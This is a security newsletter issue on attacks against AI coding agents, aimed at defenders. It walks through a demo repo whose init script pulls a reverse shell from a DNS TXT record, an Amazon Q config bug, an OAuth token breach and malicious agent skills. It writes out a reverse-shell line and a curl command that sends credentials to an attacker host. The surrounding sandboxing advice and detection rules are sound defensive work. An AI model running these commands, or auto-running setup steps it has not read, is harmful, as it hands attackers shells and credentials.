Your Agent Runs What You Cloned.

🎯 Attack of the Week: clone the repo, the agent runs the payload

How it runs. The whole trick is that the agent runs a setup command for you, and that command quietly pulls its real payload from a DNS record. The repo ships nothing that scans dirty. A README tells the user to run pip3 install -r requirements.txt then python3 -m axiom init. The Python package's __init__ raises a RuntimeError that says you have to run init before the package works. A coding agent reads the repo as trusted context, tries to use the package, hits the error, and does what a helpful agent does: it runs python3 -m axiom init on its own as error recovery, and that init script runs cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"') and then [ -n "$cfg" ] && bash -c "$cfg". The DNS TXT record holds the reverse shell itself, bash -i >& /dev/tcp/[attacker-host]/4443 0>&1, handed straight to bash -c.

Count the hops. The error message points at the init command. The init command points at a DNS lookup. The DNS record holds the payload. No payload sits in the repo, so a static scan sees only a benign-looking dig, and the agent never inspects the command it pulled from DNS before running it. Edit the TXT record and the payload changes without touching the repo. 0DIN ran this as a research demo, so there's no vendor advisory and no patch, just a working class of attack against any agent that auto-runs setup steps.

The same class hit a shipping product. Wiz showed Amazon Q's VS Code extension auto-loading MCP server configs from a workspace .amazonq/mcp.json with no consent prompt. Open a repo carrying that file and the extension spawns the configured processes, which inherit the full environment: AWS credentials, API keys, SSH tokens. The proof of concept exfiltrates with aws sts get-caller-identity | curl -s -X POST -d @- [attacker-url]. Tracked as CVE-2026-12957, fixed in language server 1.65.0, and the fix adds a consent prompt rather than removing auto-load, so the safeguard only holds for developers who stop to read the prompt.

Ship This Week. Turning all of this off is the clean answer, and most of us leave auto-mode on anyway. So make auto-mode survivable instead of pretending you'll babysit every command:

• Run the agent somewhere disposable. A container, devcontainer, or cloud sandbox means a reverse shell lands in a throwaway box, not the laptop holding your ~/.aws and ~/.ssh. This is the one control that lets you keep auto-accept on without betting your real laptop on it.
• Keep long-lived cloud creds out of the environment the agent runs in. Both attacks cash out by reading env credentials and SSH keys, so short-lived scoped creds you can rotate beat static keys sitting in the shell the agent drives. Drop the static ~/.aws/credentials and use short aws sso login sessions or aws-vault instead.
• Be choosier about whose code you auto-run. Your own project in full auto is one risk; a freshly cloned unknown repo in full auto is a bigger one. Open unfamiliar repos in the sandbox, or skim their setup scripts and agent-config files (.amazonq/mcp.json, .cursor/rules, .claude/) first.
• On Amazon Q, upgrade the language server to 1.65.0 or later. That fix is real, and it adds the consent prompt that was missing.

🚨 Rule of the Week: catch the agent that spawns a shell to the network

Nothing in the 0DIN repo trips a scanner. Plain version: you won't catch this by scanning the files, only by watching what the agent runs when it executes.

The high-fidelity signal is one event: a process descended from your agent runtime (Claude Code, Cursor, Amazon Q) spawning bash -c or sh -c whose command line contains /dev/tcp/, the bash reverse-shell primitive. It almost never appears in normal agent work, so in Falco it's a few-line spawned_process rule on proc.cmdline contains "/dev/tcp/" (scope it to descendants of your agent binary with proc.aname[N] to cut noise).

The DNS hop, a dig TXT lookup followed within seconds by that shell, spans two events, so stitch it together in your SIEM or EDR by shared process lineage instead of a single rule. Both fire close to never on a developer laptop, which is what makes the reverse shell stand out.

🔧 Defender's Corner: switch off the OAuth tokens no integration uses

Audit the dormant OAuth credentials on your connected SaaS apps and decommission the ones no integration needs. Datadog's write-up shows why, building on Huntress's investigation of the breach.

A group tracked as Icarus compromised the vendor Klue on 2026-06-11. The way in was a configuration failure: a prototype OAuth credential Klue created for an integration and never decommissioned. Through the compromised Klue Battlecards connected app, that one standing token reached customer Salesforce orgs, where the attackers ran Python against the REST endpoint /services/data/v59.0/query/* and walked standard objects (Opportunity, Case, Lead, Contact, Account, User) with QueryMore to beat the 2,000-record-per-request limit. Datadog ships three Cloud SIEM detections, four IOC IPs, and hunts against ApiTotalUsage and RestApi events, with giveaway user-agents like Python-urllib/3.12 and Python-urllib/3.14. That token authenticated as a trusted integration that no audit ever revisited, the same unreviewed trust the Attack runs on.

For your engineer: in Salesforce, open Setup and the Connected Apps OAuth Usage page, which lists every connected app holding active OAuth tokens, and revoke every prototype or vendor token no live integration still needs.

🤖 Agent Bench: audit a repo's auto-run surface before your agent touches it

The Attack worked because an agent ran code it never read. Before you point a coding agent at an unfamiliar repo, point a separate, sandboxed pass at the repo's auto-run surface first and make it tell you what could execute.

Scope it to the parts of a repo that run without you asking:

• Setup and install instructions in the README, plus requirements.txt, package.json scripts, and any postinstall or prepare hook.
• Package entrypoints that run on import: __init__, module-level code, setup.py.
• Agent-config files that auto-load: .amazonq/mcp.json, .cursor/rules, .claude/ settings, .vscode/tasks.json.

For each one, require the agent to answer two questions and nothing softer: what command does this cause to run, and what does that command fetch from the network before it executes. A setup step that runs dig or curl and pipes the result straight into a shell is the shape from this week's Attack. Make the agent quote the exact line and the exact host, at file:line.

What you walk away with: a list of every command a fresh clone could run on your behalf, and every network call those commands make, before you trust the repo with an agent that has your shell.

This is the reading-pass discipline behind oss-security-audit, the workflow I built for cloud-security OSS, pointed at the auto-run surface instead of the vuln classes.

Honest caveat: an agent doing this pass will miss an obfuscated hop and over-trust a script that looks benign. The pass narrows where you look. You still have to read the flagged lines yourself.

Try it this week: open the last repo you cloned in Claude Code or Cursor and prompt it plainly: list every command this repo's setup, install, and agent-config files would run, and every network call those make, each at file:line. Read what it flags before you trust the repo.

📡 Also on the Radar

Agent-skill marketplaces are picking up the supply-chain abuse that package registries have fought for years, and the patterns are already here. Unit 42 found five malicious skills on ClawHub. Two posed as TradingView assistants and pulled Base64 payloads from paste sites to drop an infostealer. One padded its README.md with roughly 22 MB of junk to push the file past content-analysis size limits, then delivered its infostealer payload. One rerouted the agent's financial recommendations through affiliate links the operator controlled. One pooled victims' Solana and front-ran a meme-token launch. VirusTotal and ClawScan screening was added after the fact, which raises the same question every package registry has lived through: who audits the skill before your agent installs it.

💼 Recon Roles

Senior Infrastructure Security Engineer · Dropbox

The title says infrastructure security, but the scope is almost entirely AI-agent security. The role designs the controls for Dropbox's AI and agentic infrastructure across cloud, Kubernetes, and data stores, and builds authentication and authorization for non-human actors with SPIFFE/SPIRE, OAuth 2.1, and OIDC. Securing MCP-based systems and multi-agent controls like signed inter-agent messaging and circuit breakers sit in the preferred list, which tells you where this team thinks the risk is heading. AWS, GCP, or Azure plus Kubernetes is assumed here; non-human identity is the differentiator. It wants 9+ years and an on-call rotation. The comp is unusually transparent for a single req: public ranges in both currencies, US Zone 2 at $214,200 to $289,800 and Canada at CAD 205,700 to 278,300, with Dropbox's priciest metro tier cut out of the US listing.

US + Canada remote. Verified open as of Mon 2026-06-29. Apply: US or Canada

Roles can close anytime. No affiliation or payment. Found one already closed? Reply and tell me.

All four stories share one root. A setup script, an MCP config, a vendor's OAuth token, a marketplace skill: each one ran or authenticated for you, and none of them got reviewed first. Pick one surface this week and read what it does before it does it.

Know someone who'd want this in their inbox? Forward it to them.

By R.K. Chidambaram. OSCP + OAWSP + AWS Security Specialty + AWS Advanced Networking. 15+ years building and securing AWS, Kubernetes, CI/CD, detection, and supply-chain systems in production. Built in production.

< back to briefings